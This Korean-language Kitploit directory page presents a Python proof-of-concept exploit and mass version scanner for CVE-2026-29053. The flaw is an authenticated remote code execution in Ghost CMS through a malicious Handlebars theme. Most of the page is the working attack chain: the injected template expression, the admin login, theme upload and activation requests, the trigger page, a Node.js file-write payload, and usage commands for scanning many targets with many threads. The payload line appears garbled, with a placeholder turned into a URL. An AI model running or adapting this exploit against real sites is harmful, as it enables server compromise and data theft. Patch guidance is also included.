Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29053 — Ghost CMS 6.19.1 미만에서 악성 Handlebars 테마 템플릿을 통한 인증된 RCE 취약점인 CVE-2026-29053에 대한 Python PoC 및 버전 스캐너. | Kitploit
도구/GitHubGitHub/k3ystr0k3r/cve-2026-29053
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

Ghost CMS 6.19.1 미만에서 악성 Handlebars 테마 템플릿을 통한 인증된 RCE 취약점인 CVE-2026-29053에 대한 Python PoC 및 버전 스캐너.

1215시간 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-29053 - Ghost CMS < 6.19.0 - 악성 테마를 통한 인증된 원격 코드 실행

CVE-2026-29053은 Node.js 기반으로 구축된 Ghost 콘텐츠 관리 시스템에 영향을 미칩니다. 0.7.2부터 6.19.0까지의 버전이 이 문제에 취약합니다. 악성 테마가 이 취약점을 악용하여 Ghost를 실행하는 서버에서 임의 코드를 실행할 수 있습니다. 이 취약점의 심각도는 높으며 CVSS 점수는 7.6입니다. 이 문제는 버전 6.19.1에서 패치되었습니다. 이 취약점을 성공적으로 악용한 공격자는 서버에 대한 무단 접근 권한을 얻고 잠재적으로 서버를 제어할 수 있습니다. 그런 다음 이 접근 권한을 사용하여 데이터를 조작하거나, 민감한 정보를 탈취하거나, 기타 악의적인 활동을 수행할 수 있습니다. 영향을 받는 제품/서비스는 0.7.2부터 6.19.0까지의 모든 Ghost 버전입니다. 이 위험을 완화하려면 사용자는 가능한 한 빨리 Ghost 설치를 버전 6.19.1 이상으로 업데이트해야 합니다. 이렇게 하면 취약점이 패치되어 더 이상 위협이 되지 않습니다. 현재 업데이트가 불가능한 경우, 이 취약점의 새로운 동향을 면밀히 모니터링하고 잠재적인 공격으로부터 보호하기 위해 필요한 보안 조치를 적용할 것을 권장합니다. 이 CVE는 현재 CISA Known Exploited Vulnerabilities (KEV) 카탈로그에 등록되어 있지 않으며, 이는 위협 행위자에 의해 적극적으로 악용되지 않았음을 의미합니다. 그러나 사용자는 이 취약점과 관련된 잠재적 위험을 방지하기 위해 시스템 업데이트를 여전히 우선시해야 합니다.

CVE-2026-29053에 대한 Python PoC로, 특수하게 조작된 테마가 템플릿 렌더링 중에 임의의 JavaScript를 실행할 수 있게 하여 발생하는 Ghost CMS의 원격 코드 실행 취약점입니다.

영향 받음: Ghost 0.7.2 ~ 6.19.0 수정됨: Ghost 6.19.1 CWE: CWE-74 — 다운스트림 구성 요소에서 사용되는 출력의 특수 요소 부적절한 중화

Ghost의 권고는 이 문제를 악성 테마를 통한 임의 코드 실행으로 설명합니다.


취약점이란 무엇인가?

Ghost 테마는 Handlebars 템플릿 (.hbs)을 사용합니다.

특수하게 조작된 템플릿은 Ghost가 Handlebars 표현식을 처리하는 방식을 악용하여 일반 테마 템플릿에서는 접근할 수 없어야 하는 JavaScript 기능에 접근할 수 있습니다.

익스플로잇의 중요한 부분은 템플릿 표현식입니다:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

페이로드는 악성 테마가 패키징되기 전에 템플릿에 삽입됩니다.

결과 템플릿은 Ghost Admin API를 통해 업로드되고 활성화됩니다.

Ghost가 이후 영향을 받는 템플릿을 렌더링할 때, 주입된 표현식이 Ghost 서버 프로세스 내에서 JavaScript 페이로드를 실행하게 합니다.


PoC는 이러한 각 단계를 직접 구현합니다.

인증

PoC는 먼저 인증된 Ghost Admin 세션을 설정합니다.

관련 엔드포인트는 다음과 같습니다:

root@kitploit:~
POST /ghost/api/admin/session/

PoC가 생성하는 요청은 다음과 동일합니다:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost는 인증된 세션 쿠키를 반환합니다.

PoC는 HTTP 201을 확인한 다음 동일한 requests.Session() 객체를 계속 사용합니다.


테마 생성

익스플로잇은 최소한의 Ghost 테마를 포함하는 ZIP 아카이브를 생성합니다.

중요한 파일은 다음과 같습니다:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

악성 템플릿은 다음 위치에 작성됩니다:

root@kitploit:~
page-rce.hbs

PoC는 Python의 zipfile 모듈을 사용하여 아카이브를 전적으로 메모리 내에서 구성합니다.

생성된 package.json은 아카이브를 Ghost 테마로 식별합니다:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

악성 템플릿

테마의 취약한 부분은 page-rce.hbs 내부의 Handlebars 표현식입니다.

PoC는 다음을 생성합니다:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

페이로드는 테마가 압축되기 전에 %PAYLOAD%에 대체됩니다.

페이로드

기본 PoC는 코드 실행의 비파괴적 증명으로 파일 쓰기 페이로드를 사용합니다.

다음과 동등한 JavaScript를 생성합니다:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

이는 페이로드가 Ghost Node.js 프로세스 내에서 실행되고 있으며 Node.js 기능에 접근할 수 있음을 보여줍니다.

PoC에는 실험실 환경을 위한 선택적 콜백 모드도 포함되어 있습니다.


테마 업로드

악성 테마가 생성되면 PoC는 이를 다음으로 전송합니다:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

요청은 multipart 폼 업로드입니다.

개념적으로:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

아카이브에는 위에서 설명한 악성 .hbs 템플릿이 포함되어 있습니다.

PoC는 HTTP 200을 기대하고 JSON 응답에서 반환된 테마 이름을 추출합니다.


테마 활성화

테마를 업로드한 후 PoC는 다음으로 활성화합니다:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

활성화 엔드포인트는 동적으로 구성됩니다:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

Ghost가 HTTP 200을 반환하지 않으면 익스플로잇은 중지됩니다.


템플릿 트리거

그런 다음 PoC는 게시된 페이지를 생성합니다:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

코드는 다음 슬러그를 사용합니다:

root@kitploit:~
/rce/

페이지가 이미 존재하는 경우, 대신 기존 페이지를 검색하려고 시도합니다.

최종 트리거는 단순히 다음과 같습니다:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

이로 인해 Ghost가 활성 테마를 렌더링하게 됩니다.

PoC는 반환된 HTML에서 다음을 확인합니다:

root@kitploit:~
CVE-2026-29053 trigger

page-rce.hbs가 렌더링되었는지 확인하기 위해서입니다.


왜 이것이 RCE를 초래하는가

중요한 차이점은 공격자가 단순히 페이지에 HTML을 주입하는 것이 아니라는 점입니다.

악성 입력은 Ghost Handlebars 테마 템플릿의 일부가 됩니다.

템플릿은 이후 Ghost의 서버 측 렌더링 시스템에 의해 해석됩니다.

조작된 표현식은 프로토타입/생성자 체인을 통해 JavaScript 기능에 도달합니다:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
attacker-controlled JavaScript

결과 JavaScript는 Ghost 서버 프로세스에서 실행됩니다.

PoC는 Node의 내장 fs 모듈에 접근하고 서버에 파일을 작성하여 이를 보여줍니다.


원시 요청 흐름

HTTP 상호 작용을 종합하면:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── authenticate

2. POST /ghost/api/admin/themes/upload/
   └── upload malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── activate malicious theme

4. POST /ghost/api/admin/pages/
   └── create /rce/

5. GET /rce/
   └── render malicious page-rce.hbs
       └── Handlebars expression
           └── JavaScript execution
               └── OS-level impact

버전 확인

PoC에는 스캐너도 포함되어 있습니다.

다음을 요청합니다:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

응답은 다음을 파싱합니다:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

그런 다음 PoC는 버전을 다음 범위와 비교합니다:

root@kitploit:~
0.7.2 <= version <= 6.19.0

일치하는 버전을 취약한 것으로 보고합니다.

게시된 권고는 영향을 받는 범위를 >= 0.7.2, < 6.19.1로 명시하며, 6.19.1이 수정 버전입니다.


PoC 사용법

파일 쓰기 증명

root@kitploit:~
python3 exploit.py --target http://TARGET

기본 증명 경로는 다음과 같습니다:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

다음으로 변경할 수 있습니다:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

기존 설치

Ghost 설정이 이미 완료된 경우:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

자격 증명은 다음을 사용하여 제공할 수 있습니다:

root@kitploit:~
--email
--password

스캐너

대상은 파일에서 제공할 수 있습니다:

root@kitploit:~
python3 exploit.py --file targets.txt

스레드 수:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

스캐너는 Ghost Admin 사이트 엔드포인트를 확인하고 보고된 Ghost 버전을 취약한 범위와 비교합니다.


영향

성공적인 익스플로잇은 Ghost 서버 프로세스 내에서 임의의 JavaScript 실행을 허용합니다.

Ghost 프로세스의 권한과 사용된 페이로드에 따라 다음에 영향을 미칠 수 있습니다:

  • 기밀성
  • 무결성
  • 가용성

게시된 CVE 레코드는 이 문제를 네트워크에서 접근 가능하지만 높은 권한과 사용자 상호 작용이 필요하며 범위가 변경된 것으로 평가합니다.


해결 방법

Ghost를 다음으로 업그레이드하십시오:

root@kitploit:~
6.19.1+

Ghost의 취약점 권고는 6.19.1을 패치된 버전으로 식별합니다.

신뢰할 수 없는 테마를 설치하지 마십시오.


면책 조항

이 PoC는 취약점 연구, 승인된 침투 테스트 및 교육 목적으로 제공됩니다.

도구 다운로드